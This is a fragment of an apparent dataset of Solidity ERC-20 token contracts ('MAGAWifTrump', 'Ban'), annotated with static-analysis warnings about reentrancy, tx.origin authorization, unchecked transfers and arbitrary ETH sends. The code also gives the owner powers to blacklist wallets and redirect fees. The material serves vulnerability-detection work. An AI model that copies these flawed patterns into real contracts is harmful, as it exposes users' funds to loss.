address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 723f8bd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c22b674\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a1823da): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1823da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: cb81dbd): MAGAWifTrump._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for cb81dbd: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: af48839): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for af48839: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c0c342): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c0c342: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: cb81dbd\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n _sellCount[block.number] < 3\n ) {\n\t\t\t\t// reentrancy-events | ID: a1823da\n\t\t\t\t// reentrancy-no-eth | ID: af48839\n\t\t\t\t// reentrancy-eth | ID: 4c0c342\n swapTokensForEth(min(amount, contractTokenBalance));\n\n\t\t\t\t// reentrancy-no-eth | ID: af48839\n _sellCount[block.number] = _sellCount[block.number] + 1;\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a1823da\n\t\t\t\t\t// reentrancy-eth | ID: 4c0c342\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4c0c342\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a1823da\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4c0c342\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4c0c342\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a1823da\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c22b674\n\t\t// reentrancy-events | ID: a1823da\n\t\t// reentrancy-benign | ID: 723f8bd\n\t\t// reentrancy-no-eth | ID: af48839\n\t\t// reentrancy-eth | ID: 4c0c342\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e733962): MAGAWifTrump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e733962: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c22b674\n\t\t// reentrancy-events | ID: a1823da\n\t\t// reentrancy-eth | ID: 4c0c342\n\t\t// arbitrary-send-eth | ID: e733962\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function manageList(address[] memory bots_) external onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cb81908): MAGAWifTrump.reduceFee(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for cb81908: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n require(\n _newBuyFee <= 30 && _newSellFee <= 30 && tradingOpen,\n \"Invalid fee\"\n );\n\n\t\t// events-maths | ID: cb81908\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: cb81908\n _finalSellTax = _newSellFee;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ed6acab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ed6acab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7cb6d64): MAGAWifTrump.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7cb6d64: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e6314ed): MAGAWifTrump.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e6314ed: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 12544e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 12544e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ed6acab\n\t\t// reentrancy-eth | ID: 12544e4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ed6acab\n\t\t// unused-return | ID: 7cb6d64\n\t\t// reentrancy-eth | ID: 12544e4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ed6acab\n\t\t// unused-return | ID: e6314ed\n\t\t// reentrancy-eth | ID: 12544e4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ed6acab\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 12544e4\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10081.sol",
"size_bytes": 21316,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ban is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5013599): Ban._initialBuyTax should be constant \n\t// Recommendation for 5013599: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9efed56): Ban._initialSellTax should be constant \n\t// Recommendation for 9efed56: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dd7070): Ban._finalBuyTax should be constant \n\t// Recommendation for 5dd7070: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e7940f): Ban._finalSellTax should be constant \n\t// Recommendation for 8e7940f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fe625f): Ban._reduceBuyTaxAt should be constant \n\t// Recommendation for 3fe625f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e58ae7f): Ban._reduceSellTaxAt should be constant \n\t// Recommendation for e58ae7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4df87e4): Ban._preventSwapBefore should be constant \n\t// Recommendation for 4df87e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Comedian\";\n\n string private constant _symbol = unicode\"Ban\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 262c961): Ban._taxSwapThreshold should be constant \n\t// Recommendation for 262c961: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ddcb2b): Ban.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ddcb2b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e00a0a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e00a0a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14fe454): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14fe454: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e00a0a2\n\t\t// reentrancy-benign | ID: 14fe454\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e00a0a2\n\t\t// reentrancy-benign | ID: 14fe454\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d82068): Ban._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d82068: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 14fe454\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e00a0a2\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28f20fd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28f20fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c4a95ad): Ban._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for c4a95ad: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 772a253): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 772a253: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63fbc5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63fbc5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: c4a95ad\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 28f20fd\n\t\t\t\t// reentrancy-eth | ID: 772a253\n\t\t\t\t// reentrancy-eth | ID: 63fbc5b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28f20fd\n\t\t\t\t\t// reentrancy-eth | ID: 772a253\n\t\t\t\t\t// reentrancy-eth | ID: 63fbc5b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 772a253\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 772a253\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 28f20fd\n\t\t\t\t// reentrancy-eth | ID: 63fbc5b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28f20fd\n\t\t\t\t\t// reentrancy-eth | ID: 63fbc5b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 63fbc5b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 28f20fd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 63fbc5b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 63fbc5b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 28f20fd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e00a0a2\n\t\t// reentrancy-events | ID: 28f20fd\n\t\t// reentrancy-benign | ID: 14fe454\n\t\t// reentrancy-eth | ID: 772a253\n\t\t// reentrancy-eth | ID: 63fbc5b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cba355a): Ban.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for cba355a: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: cba355a\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e782ea8): Ban.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for e782ea8: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: e782ea8\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a766478): Ban.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for a766478: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: a766478\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7b2cd1b): Ban.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 7b2cd1b: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 7b2cd1b\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3a28e0a): Ban.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3a28e0a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e00a0a2\n\t\t// reentrancy-events | ID: 28f20fd\n\t\t// reentrancy-eth | ID: 772a253\n\t\t// reentrancy-eth | ID: 63fbc5b\n\t\t// arbitrary-send-eth | ID: 3a28e0a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91878a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91878a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d02bcbd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d02bcbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8b41a85): Ban.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8b41a85: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2556bf9): Ban.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2556bf9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 060c099): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 060c099: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 91878a2\n\t\t// reentrancy-benign | ID: d02bcbd\n\t\t// reentrancy-eth | ID: 060c099\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d02bcbd\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: d02bcbd\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 91878a2\n\t\t// unused-return | ID: 2556bf9\n\t\t// reentrancy-eth | ID: 060c099\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 91878a2\n\t\t// unused-return | ID: 8b41a85\n\t\t// reentrancy-eth | ID: 060c099\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 91878a2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 060c099\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 91878a2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
